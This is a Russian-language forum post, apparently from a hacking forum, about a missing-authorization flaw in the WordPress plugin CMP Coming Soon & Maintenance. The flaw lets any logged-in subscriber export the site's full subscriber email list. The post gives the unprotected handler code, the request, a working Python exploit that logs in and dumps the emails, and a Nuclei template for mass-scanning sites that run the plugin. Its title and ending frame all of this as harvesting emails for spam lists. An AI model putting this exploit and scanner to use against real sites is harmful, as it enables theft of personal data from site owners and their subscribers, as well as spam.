LIMB
Вход Регистрация

тема

Почта спам получать, почта качать, почта база спам пополнять. 200k+ инсталлов, IDOR.

bezmyatezhnost · · 1 ответов · 614 просмотров

Не удалось прогрузить медиа

​
Всем привет! Продолжаем потрошить плагины вордпресса, и если в прошлый раз у нас была сочная скуля под Shop Manager'а, то сегодня будет история про другое, про то, как разрабы навешивают проверки прав на все ручки подряд, а на одну, самую вкусную, забивают. Классика жанра, которая живёт на сотнях тысяч сайтов. КСРФ'ы и прочую мелочь по-прежнему не показываю, импакт не тот, а вот тут у нас утечка персональных данных, которую может дёрнуть вообще любой зарегистрированный кот на сайте. Погнали. Наша жертва сегодня, CMP Coming Soon & Maintenance от NiteoThemes. Это та самая "заглушка", которую вешают на сайт пока он в разработке или на техобслуживании: красивая страница "скоро открытие", форма подписки, сбор емейлов. И вот этот сбор емейлов нас и интересует.

Не удалось прогрузить медиа

​
Глянем статистику на wordpress.org. 200 000+ активных установок, обновляется регулярно, работает с самой свежей версией ВП. Проверял на актуальной 4.1.17, дырка на месте. То есть, как обычно, страдают все, кто это поставил. А ставят это часто, потому что плагин бесплатный и удобный.

Не удалось прогрузить медиа

​
Ладно, харе теории. Скачиваем, разархивируем, и лезем смотреть каждый клочок. Плагин относительно компактный, основная логика лежит в одном жирном файле niteo-cmp.php. Первым делом, как всегда, ищем точки входа, куда летят AJAX-запросы. Грепаем по wp_ajax.

Code:
add_action( 'wp_ajax_niteo_themeinfo', array($this, 'niteo_themeinfo') );
add_action( 'wp_ajax_niteo_unsplash', array($this, 'niteo_unsplash') );
add_action( 'wp_ajax_niteo_export_csv', array($this, 'niteo_export_csv') );
add_action( 'wp_ajax_cmp_theme_update_install', array($this, 'cmp_theme_update_install') );
add_action( 'wp_ajax_cmp_toggle_activation', array($this, 'cmp_toggle_activation') );
add_action( 'wp_ajax_nopriv_niteo_subscribe', array($this, 'niteo_subscribe') );
add_action( 'wp_ajax_niteo_subscribe', array($this, 'niteo_subscribe') );
add_action( 'wp_ajax_cmp_mailchimp_list_ajax', array($this, 'cmp_mailchimp_list_ajax') );

Целая пачка ручек. Большинство висит на wp_ajax_*, а это значит, доступ к ним есть у любого залогиненного юзера, неважно какой роли. Тут ВП новички часто путаются: wp_ajax_nopriv_* это для анонимов, а просто wp_ajax_* это НЕ "только админ", это "любой кто авторизован". Хоть подписчик, хоть кастомер из вукоммерса. Ну окей, мало ли, может внутри хендлеров стоят проверки прав. Идём смотреть. Открываем для примера niteo_themeinfo().

Code:
public function niteo_themeinfo( ) {
    if ( isset( $_POST['theme_slug'] ) ) {
        // verify nonce
        check_ajax_referer( 'cmp-coming-soon-ajax-secret', 'security' );
        // verify user rights
        if( !current_user_can('publish_pages') ) {
            die('Sorry, but this request is invalid');
        }

Аккуратно. Нонс на месте, проверка current_user_can('publish_pages') на месте. Смотрим niteo_unsplash(), то же самое. cmp_theme_update_install(), то же самое. cmp_toggle_activation(), то же самое. Молодцы разрабы, везде нонс плюс капабилити. ВЕЗДЕ.

Не удалось прогрузить медиа

​
А теперь, барабанная дробь, открываем niteo_export_csv() (файл niteo-cmp.php, строка 1164):

Code:
public function niteo_export_csv() {
    // load subscribers array
    $subscribers = get_option('niteoCS_subscribers_list');

    if( !empty($subscribers) ) {
        $filename = 'subscribers-list-' . date('Y-m-d') . '.csv';
        header('Content-Type: text/csv');
        header('Content-Disposition: attachment;filename='.$filename);
        $fp = fopen('php://output', 'w');
        fputcsv($fp, array(__('Date'),__('Email')));
        foreach ($subscribers as $key => $value) {
            ...
            fputcsv($fp, $value, ',', '"' );
        }
        fclose($fp);
    }
    die();
}

И всё. Видите тут check_ajax_referer? Нет. Видите current_user_can? Тоже нет. Ничего. Просто берёт опцию niteoCS_subscribers_list, это весь список собранных через форму подписки емейлов, и выплёвывает его в CSV. На одной-единственной ручке из всей пачки забыли навесить защиту, которая стоит на всех остальных. Глаза загорелись.


То есть схема такая: регистрируемся на сайте самым обычным подписчиком (а на куче сайтов регистрация открыта, либо это шоп с кастомерами вукоммерса, там аккаунтов вагон), логинимся, и дёргаем:

Code:
GET /wp-admin/admin-ajax.php?action=niteo_export_csv

И нам в ответ прилетает CSV со всеми емейлами подписчиков. PII, которое владелец сайта собирал, и которое по-хорошему должен видеть только админ.

Ну что, хватит теории, надо проверять на живом. Поднимаем локальный вордпресс в докере, ставим CMP, накидываем тестовых "жертв" в список подписчиков, и создаём юзера lowuser с ролью subscriber, самой днищенской ролью в ВП.

Не удалось прогрузить медиа

​
Ни прав на публикацию, ни на настройки. Теперь пишем скриптик-эксплоитер на питоне. Логика проще некуда: логинимся подписчиком через wp-login.php, и просто шлём GET на admin-ajax.php с action=niteo_export_csv.

Code:
#!/usr/bin/env python3
import sys, re, requests

BASE  = "http://localhost:8080"
AJAX  = f"{BASE}/wp-admin/admin-ajax.php"
LOGIN = f"{BASE}/wp-login.php"
LOW_USER, LOW_PASS = "lowuser", "Low12345!"

def wp_login(u, p):
    s = requests.Session()
    s.post(LOGIN, data={"log": u, "pwd": p, "wp-submit": "Log In",
                        "redirect_to": f"{BASE}/wp-admin/", "testcookie": "1"})
    if not any(c.name.startswith("wordpress_logged_in") for c in s.cookies):
        return None
    return s

def try_export(session, label):
    r = session.get(AJAX, params={"action": "niteo_export_csv"})
    emails = re.findall(r"[\w.+-]+@[\w-]+\.[\w.-]+", r.text)
    if emails:
        print(f">>> всего {len(emails)} почты:")
        for e in sorted(set(emails)):
            print("     ", e)
        return True
    return False

# 1) anon, oblom
try_export(requests.Session(), "ANON")

# 2) subscriber, dump
s = wp_login(LOW_USER, LOW_PASS)
if not s:
    print("login failed"); sys.exit(1)
try_export(s, f"SUBSCRIBER ({LOW_USER})")

Не удалось прогрузить медиа

​
Запускаем, и.. О, чудо, всё сработало. Аноним получает 400 и ноль (потому что ручка всё-таки wp_ajax_, а не nopriv), а вот наш нищий подписчик без единой капабилити выкачивает весь список емейлов в чистом CSV. Красота.

Не удалось прогрузить медиа

​
Что в сухом остатке. Импакт тут, утечка персональных данных (CWE-862 Missing Authorization плюс CWE-200 Sensitive Data Exposure). Да, это не скуля и не RCE, до админки отсюда не прыгнешь. Но емейлы подписчиков это PII, под всякие GDPR это прям статья (немцам хай), а на сайтах с открытой регистрацией или на вукоммерс-шопах, где кастомерских аккаунтов пачками, любой такой юзер сливает всю базу подписки одним запросом. По калькулятору CVSS 3.1 получается AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N = 4.3 (Medium), а если регистрация на сайте открыта, то PR:N и уже 5.3. Не критикал, конечно, но дырка реальная, живая, и сидит на 200к+ сайтов. Ну и напоследок, чтобы было чем массово отстреливать и пополнять свои базы почт, накидал простенький темплейт под Nuclei. Он не эксплуатит, не ломится с авторизацией, просто тихо дёргает readme.txt плагина и проверяет что он установлен. Заодно вытягивает Stable tag, чтобы видеть какая там версия стоит.

Code:
id: cmpdetect

info:
  name: cmp detect plugin
  author: bezmyatezhnost
  severity: info
  description: |
    email leak via authorize user

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/cmp-coming-soon-maintenance/readme.txt"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "CMP - Coming soon"
          - "niteothemes"
        condition: or

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - "(?i)Stable tag:\\s*([0-9.]+)"

Кидаешь список таргетов в nuclei -l targets.txt -t cmpdetect.yaml и получаешь готовый список сайтов, на которых живёт уязвимая ручка. Дальше уже руками регаешься подписчиком и проверяешь экспорт, автоматизировать это в темплейте не стал, потому что нужен валидный аккаунт. Не болейте, всем пока!
👍59 ❤️8 😁11 😮6 👏6 😢14
Было всегда интересно как находят такие уязвимости

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.